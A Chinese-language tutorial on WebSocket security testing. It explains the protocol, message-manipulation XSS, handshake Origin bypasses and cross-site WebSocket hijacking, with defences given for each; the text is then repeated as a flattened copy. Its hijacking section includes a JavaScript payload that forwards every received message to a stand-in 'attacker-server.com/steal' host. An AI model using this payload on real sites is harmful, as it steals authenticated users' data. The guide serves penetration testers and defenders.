WebSocket的利用方式
字数 1685 2025-08-12 11:34:37

WebSocket安全漏洞利用教学文档

1. WebSocket基础概念

1.1 Socket与WebSocket对比

Socket:

  • 套接字API,介于应用层和传输层之间的抽象层
  • 主流开发语言都提供socket函数
  • 使用时需要提供协议、本地和远程的IP及端口

WebSocket:

  • 为解决HTTP"请求-应答模式"限制而设计
  • 全双工通信,双方可同时发送数据
  • 应用层协议,与HTTP平级
  • 默认使用80(ws)或443(wss)端口
  • 需要先建立连接(基于HTTP升级)

1.2 WebSocket特点

  • 双方都可主动发送消息
  • 使用ws://或wss://协议前缀
  • 在HTML5中通过JavaScript操作
  • 连接建立过程:
    • Connection头必须为Upgrade
    • Upgrade头必须为websocket
    • Sec-WebSocket-Version表示支持版本(通常为13)
    • Sec-WebSocket-Key是客户端生成的随机字符串

2. WebSocket安全漏洞利用

2.1 WebSocket消息操纵攻击

攻击场景:

  • 在线聊天功能等使用WebSocket的应用
  • 消息在前端展示时未正确过滤

攻击步骤:

  1. 识别WebSocket通信(使用Burp Suite等工具)
  2. 观察消息在前端的展示方式
  3. 尝试构造XSS等恶意载荷
  4. 直接发送恶意WebSocket消息

防御措施:

  • 对所有用户输入进行严格过滤
  • 实现输出编码
  • 使用内容安全策略(CSP)

2.2 WebSocket握手操纵攻击

攻击场景:

  • 服务器对Origin等握手头验证不严
  • 黑名单机制存在缺陷

攻击方法:

  1. 修改Origin头尝试绕过检查
  2. 使用X-Forwarded-For等头伪造IP
  3. 尝试大小写混淆等绕过技术

防御措施:

  • 严格验证Origin头
  • 实现白名单机制而非黑名单
  • 对关键字段进行规范化处理

2.3 跨站WebSocket劫持(CSWSH)

攻击原理:

  • 类似CSRF,利用用户已认证状态建立WebSocket连接
  • 通过恶意页面诱导用户访问

攻击步骤:

  1. 检查目标是否缺乏CSRF防护(token或Origin验证)
  2. 构造恶意HTML页面包含WebSocket连接代码
  3. 诱使用户访问该页面
  4. 通过WebSocket获取敏感信息并外传

利用代码示例:

<script>
var ws = new WebSocket('wss://target-website.com/ws');
ws.onopen = function() {
    ws.send("READY"); 
};
ws.onmessage = function(event) {
    fetch('https://attacker-server.com/steal', {
        method: 'POST', 
        mode: 'no-cors', 
        body: event.data
    });
};
</script>

防御措施:

  • 验证Origin头
  • 使用CSRF令牌
  • 限制WebSocket连接来源

3. 渗透测试实践指南

3.1 识别WebSocket通信

  • 使用Burp Suite等代理工具
  • 查找状态码101的请求
  • 关注"Upgrade: websocket"头
  • 使用HaE等插件高亮标记WebSocket流量

3.2 测试工具与方法

  1. Burp Suite:

    • 拦截WebSocket消息
    • 修改并重放消息
    • 测试握手过程
  2. 手动测试:

    • 尝试XSS、SQL注入等常见Web攻击
    • 测试Origin头验证
    • 检查CSRF防护
  3. 自动化工具:

    • OWASP ZAP
    • WebSocket专门测试工具

3.3 漏洞利用技巧

  • 当<>被编码时尝试其他XSS向量
  • 结合DOM型XSS技术
  • 利用WebSocket进行数据外泄
  • 尝试协议降级攻击(从wss到ws)

4. 防御最佳实践

  1. 输入验证:

    • 对所有WebSocket消息进行严格验证
    • 实现白名单过滤机制
  2. 输出编码:

    • 对所有输出到前端的数据进行编码
    • 根据上下文使用HTML、JS等不同编码方式
  3. 认证与授权:

    • 对WebSocket连接实施严格认证
    • 基于用户权限限制可访问功能
  4. 安全配置:

    • 使用wss而非ws
    • 配置合理的CSP策略
    • 限制帧大小和连接速率
  5. 监控与日志:

    • 记录所有WebSocket通信
    • 设置异常行为警报
    • 定期审计WebSocket使用情况

5. 总结

WebSocket作为现代Web应用的重要技术,在带来实时通信便利的同时也引入了新的安全风险。渗透测试人员应掌握WebSocket的测试方法,开发人员需了解相关防御措施。通过本指南介绍的技术和方法,可以有效识别和防范WebSocket相关的安全威胁。

WebSocket安全漏洞利用教学文档 1. WebSocket基础概念 1.1 Socket与WebSocket对比 Socket : 套接字API,介于应用层和传输层之间的抽象层 主流开发语言都提供socket函数 使用时需要提供协议、本地和远程的IP及端口 WebSocket : 为解决HTTP"请求-应答模式"限制而设计 全双工通信,双方可同时发送数据 应用层协议,与HTTP平级 默认使用80(ws)或443(wss)端口 需要先建立连接(基于HTTP升级) 1.2 WebSocket特点 双方都可主动发送消息 使用ws://或wss://协议前缀 在HTML5中通过JavaScript操作 连接建立过程: Connection头必须为Upgrade Upgrade头必须为websocket Sec-WebSocket-Version表示支持版本(通常为13) Sec-WebSocket-Key是客户端生成的随机字符串 2. WebSocket安全漏洞利用 2.1 WebSocket消息操纵攻击 攻击场景 : 在线聊天功能等使用WebSocket的应用 消息在前端展示时未正确过滤 攻击步骤 : 识别WebSocket通信(使用Burp Suite等工具) 观察消息在前端的展示方式 尝试构造XSS等恶意载荷 直接发送恶意WebSocket消息 防御措施 : 对所有用户输入进行严格过滤 实现输出编码 使用内容安全策略(CSP) 2.2 WebSocket握手操纵攻击 攻击场景 : 服务器对Origin等握手头验证不严 黑名单机制存在缺陷 攻击方法 : 修改Origin头尝试绕过检查 使用X-Forwarded-For等头伪造IP 尝试大小写混淆等绕过技术 防御措施 : 严格验证Origin头 实现白名单机制而非黑名单 对关键字段进行规范化处理 2.3 跨站WebSocket劫持(CSWSH) 攻击原理 : 类似CSRF,利用用户已认证状态建立WebSocket连接 通过恶意页面诱导用户访问 攻击步骤 : 检查目标是否缺乏CSRF防护(token或Origin验证) 构造恶意HTML页面包含WebSocket连接代码 诱使用户访问该页面 通过WebSocket获取敏感信息并外传 利用代码示例 : 防御措施 : 验证Origin头 使用CSRF令牌 限制WebSocket连接来源 3. 渗透测试实践指南 3.1 识别WebSocket通信 使用Burp Suite等代理工具 查找状态码101的请求 关注"Upgrade: websocket"头 使用HaE等插件高亮标记WebSocket流量 3.2 测试工具与方法 Burp Suite : 拦截WebSocket消息 修改并重放消息 测试握手过程 手动测试 : 尝试XSS、SQL注入等常见Web攻击 测试Origin头验证 检查CSRF防护 自动化工具 : OWASP ZAP WebSocket专门测试工具 3.3 漏洞利用技巧 当 <>被编码时尝试其他XSS向量 结合DOM型XSS技术 利用WebSocket进行数据外泄 尝试协议降级攻击(从wss到ws) 4. 防御最佳实践 输入验证 : 对所有WebSocket消息进行严格验证 实现白名单过滤机制 输出编码 : 对所有输出到前端的数据进行编码 根据上下文使用HTML、JS等不同编码方式 认证与授权 : 对WebSocket连接实施严格认证 基于用户权限限制可访问功能 安全配置 : 使用wss而非ws 配置合理的CSP策略 限制帧大小和连接速率 监控与日志 : 记录所有WebSocket通信 设置异常行为警报 定期审计WebSocket使用情况 5. 总结 WebSocket作为现代Web应用的重要技术,在带来实时通信便利的同时也引入了新的安全风险。渗透测试人员应掌握WebSocket的测试方法,开发人员需了解相关防御措施。通过本指南介绍的技术和方法,可以有效识别和防范WebSocket相关的安全威胁。